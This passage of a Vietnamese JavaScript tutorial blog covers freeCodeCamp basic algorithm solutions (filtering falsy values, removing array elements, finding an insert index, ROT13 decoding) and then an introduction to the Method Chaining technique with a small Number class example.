khỏi một mảng (giá trị <strong>falsy</strong> là false, null, 0, "", undefined và NaN).</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">bouncer</span><span class="token punctuation">(</span><span class="token parameter">arr</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> answer <span class="token operator">=</span> arr<span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">val</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token punctuation">(</span><span class="token keyword">typeof</span> val <span class="token operator">==</span> <span class="token string">"string"</span> <span class="token operator">&amp;&amp;</span> val <span class="token operator">!=</span> <span class="token string">""</span><span class="token punctuation">)</span> <span class="token operator">||</span> <span class="token punctuation">(</span>val <span class="token operator">!=</span> <span class="token boolean">false</span> <span class="token operator">&amp;&amp;</span> val <span class="token operator">!=</span> <span class="token keyword">null</span> <span class="token operator">&amp;&amp;</span> val <span class="token operator">!=</span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> val <span class="token operator">!=</span> <span class="token keyword">undefined</span> <span class="token operator">&amp;&amp;</span> <span class="token operator">!</span><span class="token function">isNaN</span><span class="token punctuation">(</span>val<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> answer<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">bouncer</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">7</span><span class="token punctuation">,</span> <span class="token string">"ate"</span><span class="token punctuation">,</span> <span class="token string">""</span><span class="token punctuation">,</span> <span class="token boolean">false</span><span class="token punctuation">,</span> <span class="token number">9</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean">Boolean Objects</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter">Array.prototype.filter()</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/isNaN">isNaN()</a></li> </ul> <h2 id="basic-algorithm-scripting---seek-and-destroy" style="position:relative;"><a href="#basic-algorithm-scripting---seek-and-destroy" aria-label="basic algorithm scripting seek and destroy permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Basic Algorithm Scripting - Seek and Destroy</h2> <p>Bỏ đi tất cả các phần tử của mảng giống với tập cho trước.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">destroyer</span><span class="token punctuation">(</span><span class="token parameter">arr</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> args <span class="token operator">=</span> arguments<span class="token punctuation">;</span> <span class="token keyword">var</span> answer <span class="token operator">=</span> arr<span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">val</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">var</span> i <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> args<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>val <span class="token operator">===</span> args<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> answer<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">destroyer</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments">Arguments object</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter">Array.prototype.filter()</a></li> </ul> <h2 id="basic-algorithm-scripting---where-do-i-belong" style="position:relative;"><a href="#basic-algorithm-scripting---where-do-i-belong" aria-label="basic algorithm scripting where do i belong permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Basic Algorithm Scripting - Where do I belong</h2> <p>Tìm ra vị trí có chỉ số nhỏ nhất phù hợp để chèn một số cho trước vào.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">getIndexToIns</span><span class="token punctuation">(</span><span class="token parameter">arr<span class="token punctuation">,</span> num</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> newArr <span class="token operator">=</span> arr<span class="token punctuation">.</span><span class="token function">sort</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> a <span class="token operator">-</span> b<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">var</span> index <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>index <span class="token operator">==</span> newArr<span class="token punctuation">.</span>length <span class="token operator">||</span> newArr<span class="token punctuation">[</span>index<span class="token punctuation">]</span> <span class="token operator">>=</span> num<span class="token punctuation">)</span> <span class="token keyword">return</span> index<span class="token punctuation">;</span> index<span class="token operator">++</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token function">getIndexToIns</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">40</span><span class="token punctuation">,</span> <span class="token number">60</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token number">50</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="/sap-xep-mang-trong-javascript/">Array Sorting – vấn đề muôn thuở</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort">Array.prototype.sort()</a></li> </ul> <h2 id="basic-algorithm-scripting---caesars-cipher" style="position:relative;"><a href="#basic-algorithm-scripting---caesars-cipher" aria-label="basic algorithm scripting caesars cipher permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Basic Algorithm Scripting - Caesars Cipher</h2> <p>Giải mã string cho trước sử dụng <strong>ROT13</strong>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">rot13</span><span class="token punctuation">(</span><span class="token parameter">str</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// LBH QVQ VG!</span> <span class="token keyword">var</span> arr <span class="token operator">=</span> str<span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">var</span> code<span class="token punctuation">,</span> delta<span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">var</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> arr<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> code <span class="token operator">=</span> arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">charCodeAt</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">13</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">>=</span> <span class="token string">"A"</span> <span class="token operator">&amp;&amp;</span> arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">&lt;</span> <span class="token string">"N"</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> delta <span class="token operator">=</span> <span class="token string">"A"</span><span class="token punctuation">.</span><span class="token function">charCodeAt</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">-</span> code<span class="token punctuation">;</span> code <span class="token operator">=</span> <span class="token string">"Z"</span><span class="token punctuation">.</span><span class="token function">charCodeAt</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">-</span> delta <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">;</span> arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> String<span class="token punctuation">.</span><span class="token function">fromCharCode</span><span class="token punctuation">(</span>code<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">>=</span> <span class="token string">"N"</span> <span class="token operator">&amp;&amp;</span> arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">&lt;=</span> <span class="token string">"Z"</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> String<span class="token punctuation">.</span><span class="token function">fromCharCode</span><span class="token punctuation">(</span>code<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> arr<span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// Change the inputs below to test</span> <span class="token function">rot13</span><span class="token punctuation">(</span><span class="token string">"SERR PBQR PNZC"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/charCodeAt">String.prototype.charCodeAt()</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/fromCharCode">String.fromCharCode()</a></li> </ul> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây là tổng hợp các bài toán thuộc chủ đề <strong>Basic Algorithm Scripting</strong> trên freeCodeCamp. Theo cá nhân mình thấy thì các bài toán trên khá dễ. Nhưng lại rất hay ở chỗ, nó giúp ta áp dụng được kiến thức lý thuyết. Nếu các bạn có gì thắc mắc, góp ý hay cải tiến các thuật toán trên. Vui lòng để lại bình luận phía dưới nhé.</p> <p>Xin chào và hẹn gặp lại bạn trong <a href="/lap-trinh-javascript-voi-fcc-intermediate-algorithm-scripting/">bài viết tiếp theo</a>, thân ái!</p>[email protected]<![CDATA[Tìm hiểu kĩ thuật Method Chaining cơ bản]]><![CDATA[Trong lập trình nói chung và lập trình JavaScript nói riêng, có một kĩ thuật khá hay với tên gọi trong tiếng Anh là: Method Chaining, Function Chaining hoặc Cascading. Vậy kĩ thuật…]]>https://completejavascript.com/tim-hieu-ki-thuat-method-chaining-co-ban/https://completejavascript.com/tim-hieu-ki-thuat-method-chaining-co-ban/<![CDATA[Design Pattern]]>Sun, 04 Feb 2018 14:02:44 GMT<p>Trong lập trình nói chung và lập trình JavaScript nói riêng, có một kĩ thuật khá hay với tên gọi trong tiếng Anh là: <strong>Method Chaining</strong>, <strong>Function Chaining</strong> hoặc <strong>Cascading</strong>. Vậy kĩ thuật này có gì hay và cách sử dụng nó như thế thế nào? Mời bạn theo dõi bài viết!</p> <h2 id="kĩ-thuật-method-chaining-có-gì-hay" style="position:relative;"><a href="#k%C4%A9-thu%E1%BA%ADt-method-chaining-c%C3%B3-g%C3%AC-hay" aria-label="kĩ thuật method chaining có gì hay permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kĩ thuật Method Chaining có gì hay?</h2> <p>Kĩ thuật Method Chaining giúp code trở nên ngắn gọn, dễ theo dõi và hạn chế việc sử dụng các biến tạm.</p> <p>Ví dụ: khi sử dụng jQuery, bạn có thể dễ dàng nhìn thấy những đoạn code như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">$</span><span class="token punctuation">(</span><span class="token string">".myClass"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">addClass</span><span class="token punctuation">(</span><span class="token string">"bird"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">show</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">animate</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token comment">/* some animation */</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Nếu không sử dụng kĩ thuật Method Chaining thì đoạn code trên sẽ khá dài dòng:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> $myClass <span class="token operator">=</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">".myClass"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> $<span class="token punctuation">.</span><span class="token function">addClass</span><span class="token punctuation">(</span>$myClass<span class="token punctuation">,</span> <span class="token string">"bird"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> $<span class="token punctuation">.</span><span class="token function">show</span><span class="token punctuation">(</span>$myClass<span class="token punctuation">)</span><span class="token punctuation">;</span> $<span class="token punctuation">.</span><span class="token function">animate</span><span class="token punctuation">(</span>$myClass<span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token comment">/* some animation */</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Bạn có thể thấy rằng, khi sử dụng Method Chaining, bạn hầu như chỉ cần viết các đoạn code trên cùng 1 dòng.</p> <p>Thực tế, kĩ thuật này đã và đang được sử dụng rất nhiều trong hầu hết các thư viện, <a href="/top-5-framework-javascript-moi-nhat-cho-phat-trien-web-va-app/">Framework JavaScript</a>.</p> <h2 id="cách-sử-dụng-kĩ-thuật-method-chaining-cơ-bản" style="position:relative;"><a href="#c%C3%A1ch-s%E1%BB%AD-d%E1%BB%A5ng-k%C4%A9-thu%E1%BA%ADt-method-chaining-c%C6%A1-b%E1%BA%A3n" aria-label="cách sử dụng kĩ thuật method chaining cơ bản permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách sử dụng kĩ thuật Method Chaining cơ bản</h2> <p>Trong bài viết này, mình sẽ chỉ giới thiệu một cách cơ bản về kĩ thuật Method Chaining. Hy vọng qua đó bạn có thể tự tìm hiểu thêm sau này.</p> <h3 id="ví-dụ-khi-không-sử-dụng-method-chaining" style="position:relative;"><a href="#v%C3%AD-d%E1%BB%A5-khi-kh%C3%B4ng-s%E1%BB%AD-d%E1%BB%A5ng-method-chaining" aria-label="ví dụ khi không sử dụng method chaining permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ví dụ khi không sử dụng Method Chaining</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">Number</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>value <span class="token operator">=</span> value<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">add</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>value <span class="token operator">+=</span> value<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">sub</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>value <span class="token operator">-=</span> value<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">mul</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>value <span class="token operator">*=</span> value<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">div</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>value <span class="token operator">/=</span> value<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> num <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Number</span><span class="token punctuation">(</span><span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">;</span> num<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 10 + 5 => 15</span> num<span class="token punctuation">.</span><span class="token function">sub</span><span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 15 - 3 => 12</span> num<span class="token punctuation">.</span><span class="token function">mul</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 12 * 2 => 24</span> num<span class="token punctuation">.</span><span class="token function">div</span><span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 24 / 8 => 3</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>num<span class="token punctuation">.</span>value<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => 3</span></code></pre></div> <p>Ví dụ trên xây dựng class <em>Number</em> với 4 phương thức <em>add</em>, <em>sub</em>, <em>mul</em>, <em>div</em>. Và bạn có thể thấy với mỗi phương thức được gọi, bạn phải lặp lại biến <em>num</em> và mỗi câu lệnh thường viết trên 1 dòng.</p> <p>Như vậy khá dài dòng phải không bạn?</p> <h3 id="ví-dụ-khi-sử-dụng-method-chaining" style="position:relative;"><a href="#v%C3%AD-d%E1%BB%A5-khi-s%E1%BB%AD-d%E1%BB%A5ng-method-chaining" aria-label="ví dụ khi sử dụng method chaining permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ví dụ khi sử dụng Method Chaining</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">Number</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>value <span class="token operator">=</span> value<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">add</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>value <span class="token operator">+=</span> value<span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">sub</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>value <span class="token operator">-=</span> value<span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">mul</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>value <span class="token operator">*=</span> value<span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">div</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>value <span class="token operator">/=</span> value<span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> num <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Number</span><span class="token punctuation">(</span><span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">;</span> num<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">sub</span><span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">mul</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">div</span><span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>num<span class="token punctuation">.</span>value<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong đoạn code trên, mình đã triển khai các phương thức theo Method Chaining. Nhờ vậy mà mình có thể gọi liên tiếp các phương thức trên cùng 1 dòng.</p> <p>Cách thực hiện ở đây rất đơn giản là: mình chỉ cần thêm <em><strong>return this</strong></em> vào cuối mỗi phương thức.</p> <p><em>This</em> ở đây đại diện cho <a href="/object-la-gi-object-trong-javascript/">object</a> được tạo ra (<em>num</em>) sau khi sử dụng từ khóa <em>new</em>.</p> <p>Rất dễ hiểu phải không bạn?</p> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây là những thông tin cơ bản về kĩ thuật Method Chaining. Để hiểu thêm về kĩ thuật này, bạn có thể đọc thêm trong các bài viết ở phần tham khảo dưới đây.</p> <p>Xin chào và hẹn gặp lại bạn trong <a href="/lam-sach-website-wordpress-nhu-the-nao/">bài viết tiếp theo</a>, thân ái!</p> <h2 id="tham-khảo" style="position:relative;"><a href="#tham-kh%E1%BA%A3o" aria-label="tham khảo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 